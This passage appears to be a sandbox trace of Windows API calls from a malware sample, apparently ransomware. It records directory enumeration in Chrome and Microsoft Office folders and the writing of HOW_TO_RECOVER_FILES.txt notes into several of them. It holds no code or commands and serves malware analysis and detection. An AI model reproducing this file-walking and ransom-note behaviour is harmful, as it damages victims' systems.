nFileSizeHigh=0x0, nFileSizeLow=0x43b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll", cAlternateFileName="WIDEVI~2.DLL")) returned 1 [0126.183] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8fabb39e, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll.sig", cAlternateFileName="WIDEVI~2.SIG")) returned 1 [0126.183] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8fabb39e, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll.sig", cAlternateFileName="WIDEVI~2.SIG")) returned 0 [0126.183] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0126.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed460) returned 1 [0126.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed420) returned 1 [0126.184] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faecf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7d [0126.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed490) returned 1 [0126.184] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\_platform_specific\\win_x64\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x63c [0126.185] GetFileType (hFile=0x63c) returned 0x1 [0126.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed400) returned 1 [0126.185] GetFileType (hFile=0x63c) returned 0x1 [0126.186] WriteFile (in: hFile=0x63c, lpBuffer=0x3973038*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faed558, lpOverlapped=0x0 | out: lpBuffer=0x3973038*, lpNumberOfBytesWritten=0x1faed558*=0x5d0, lpOverlapped=0x0) returned 1 [0126.188] CloseHandle (hObject=0x63c) returned 1 [0126.188] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x75 [0126.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedec0) returned 1 [0126.188] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\_platform_specific\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x63c [0126.189] GetFileType (hFile=0x63c) returned 0x1 [0126.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede30) returned 1 [0126.189] GetFileType (hFile=0x63c) returned 0x1 [0126.190] WriteFile (in: hFile=0x63c, lpBuffer=0x3976918*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faedf88, lpOverlapped=0x0 | out: lpBuffer=0x3976918*, lpNumberOfBytesWritten=0x1faedf88*=0x5d0, lpOverlapped=0x0) returned 1 [0126.191] CloseHandle (hObject=0x63c) returned 1 [0126.191] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faee3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x62 [0126.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee8f0) returned 1 [0126.191] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x63c [0126.195] GetFileType (hFile=0x63c) returned 0x1 [0126.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee860) returned 1 [0126.195] GetFileType (hFile=0x63c) returned 0x1 [0126.196] WriteFile (in: hFile=0x63c, lpBuffer=0x397a1a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faee9b8, lpOverlapped=0x0 | out: lpBuffer=0x397a1a8*, lpNumberOfBytesWritten=0x1faee9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0126.197] CloseHandle (hObject=0x63c) returned 1 [0126.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee980) returned 1 [0126.198] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART", nBufferLength=0x105, lpBuffer=0x1faee420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART", lpFilePart=0x0) returned 0x2e [0126.198] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\*", lpFindFileData=0x1faee6a0 | out: lpFindFileData=0x1faee6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0126.198] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.199] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0126.199] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0126.199] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0126.199] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0126.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee8c0) returned 1 [0126.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee880) returned 1 [0126.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee980) returned 1 [0126.199] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART", nBufferLength=0x105, lpBuffer=0x1faee420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART", lpFilePart=0x0) returned 0x2e [0126.199] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\*", lpFindFileData=0x1faee6a0 | out: lpFindFileData=0x1faee6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0126.199] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.199] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0126.200] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0126.200] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0126.200] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0126.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee8c0) returned 1 [0126.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee880) returned 1 [0126.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedf50) returned 1 [0126.201] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR", nBufferLength=0x105, lpBuffer=0x1faed9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR", lpFilePart=0x0) returned 0x37 [0126.201] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\*", lpFindFileData=0x1faedc70 | out: lpFindFileData=0x1faedc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0126.202] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.202] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0126.202] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0126.203] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0126.203] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0126.203] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb58a9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb58a9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0126.203] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb58a9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0126.203] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0126.203] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0126.203] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0126.203] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0126.204] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0126.204] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0126.204] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0126.204] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0126.204] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0126.204] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0126.204] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0126.204] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0126.204] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0126.205] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0126.205] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0126.205] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, 